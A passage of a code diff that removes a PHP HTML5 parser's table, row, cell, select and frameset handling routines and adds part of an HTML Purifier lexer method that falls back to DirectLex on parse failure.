= end($this->stack)->nodeName; - array_pop($this->stack); - - if ($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif (($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array( - 'caption', - 'col', - 'colgroup', - 'tbody', - 'td', - 'tfoot', - 'th', - 'thead', - 'tr' - ) - )) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') - ) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption( - array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array( - 'body', - 'col', - 'colgroup', - 'html', - 'tbody', - 'tfoot', - 'th', - 'thead', - 'tr' - ) - ) - ) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) - { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup' - ) { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if (end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup( - array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->inTable($token); - } - } - - private function inTableBody($token) - { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if ($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif ($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td') - ) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody( - array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - ) - ); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif ($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead')) - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif (($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead') - )) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table') - ) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if (!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody( - array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - ) - ); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') - ) - ) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) - { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if ($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td') - ) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr') - ) - ) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow( - array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif ($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead')) - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow( - array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - ) - ); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') - ) - ) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) - { - /* An end tag whose tag name is one of: "td", "th" */ - if ($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th') - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while (true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if ($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array( - 'caption', - 'col', - 'colgroup', - 'tbody', - 'td', - 'tfoot', - 'th', - 'thead', - 'tr' - ) - ) - ) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if (!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif ($token['type'] === HTML5::STARTTAG && in_array( - $token['name'], - array( - 'caption', - 'col', - 'colgroup', - 'tbody', - 'td', - 'tfoot', - 'th', - 'thead', - 'tr' - ) - ) - ) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if (!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array('body', 'caption', 'col', 'colgroup', 'html') - ) - ) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif ($token['type'] === HTML5::ENDTAG && in_array( - $token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr') - ) - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if (!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) - { - /* Handle the token as follows: */ - - /* A character token */ - if ($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option' - ) { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if (end($this->stack)->nodeName === 'option') { - $this->inSelect( - array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif ($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup' - ) { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if (end($this->stack)->nodeName === 'option') { - $this->inSelect( - array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if (end($this->stack)->nodeName === 'optgroup') { - $this->inSelect( - array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup' - ) { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if ($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup' - ) { - $this->inSelect( - array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - ) - ); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if ($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option' - ) { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if (end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select' - ) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if (!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while (true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if ($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif ($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG - ) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect( - array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - ) - ); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif (in_array( - $token['name'], - array( - 'caption', - 'table', - 'tbody', - 'tfoot', - 'thead', - 'tr', - 'td', - 'th' - ) - ) && $token['type'] === HTML5::ENDTAG - ) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if ($this->elementInScope($token['name'], true)) { - $this->inSelect( - array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - ) - ); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif ($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG - ) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif ($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG - ) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if (end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif ($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG - ) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif ($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG - ) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif ($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG - ) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif ($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG - ) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) - { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if ($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif ($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif ($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) - ) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif (($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG - ) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif ($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true, $check = false) - { - // Proprietary workaround for libxml2's limitations with tag names - if ($check) { - // Slightly modified HTML5 tag-name modification, - // removing anything that's not an ASCII letter, digit, or hyphen - $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); - // Remove leading hyphens and numbers - $token['name'] = ltrim($token['name'], '-0..9'); - // In theory, this should ever be needed, but just in case - if ($token['name'] === '') { - $token['name'] = 'span'; - } // arbitrary generic choice - } - - $el = $this->dom->createElement($token['name']); - - foreach ($token['attr'] as $attr) { - if (!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) - { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) - { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) - { - if ($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif ($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for ($n = count($this->stack) - 1; $n >= 0; $n--) { - if ($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null - ) { - $table = $this->stack[$n]; - break; - } - } - - if (isset($table) && $this->foster_parent->isSameNode($table->parentNode)) { - $this->foster_parent->insertBefore($node, $table); - } else { - $this->foster_parent->appendChild($node); - } - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) - { - if (is_array($el)) { - foreach ($el as $element) { - if ($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for ($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if ($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif ($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif ($table === true && in_array( - $node->tagName, - array( - 'caption', - 'td', - 'th', - 'button', - 'marquee', - 'object' - ) - ) - ) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif ($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() - { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if ($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for ($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if ($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while (true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if (isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if (end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() - { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while (true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if ($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags($exclude = array()) - { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while (in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($node) - { - $name = $node->tagName; - if (in_array($name, $this->special)) { - return self::SPECIAL; - } elseif (in_array($name, $this->scoping)) { - return self::SCOPING; - } elseif (in_array($name, $this->formatting)) { - return self::FORMATTING; - } else { - return self::PHRASING; - } - } - - private function clearStackToTableContext($elements) - { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while (true) { - $node = end($this->stack)->nodeName; - - if (in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() - { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for ($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if ($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if ($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif ($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif ($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif (in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif ($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif ($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif ($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif ($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif ($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif ($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif ($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif ($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() - { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach (array('td', 'th') as $cell) { - if ($this->elementInScope($cell, true)) { - $this->inCell( - array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - ) - ); - - break; - } - } - } - - public function save() - { - return $this->dom; - } -} +normalize($html, $config, $context); + $new_html = $this->wrapHTML($new_html, $config, $context, false /* no div */); + try { + $parser = new HTML5($new_html); + $doc = $parser->save(); + } catch (DOMException $e) { + // Uh oh, it failed. Punt to DirectLex. + $lexer = new HTMLPurifier_Lexer_DirectLex(); + $context->register('PH5PError', $e); // save the error, so we can detect it + return $lexer->tokenizeHTML($html, $config, $context); // use original 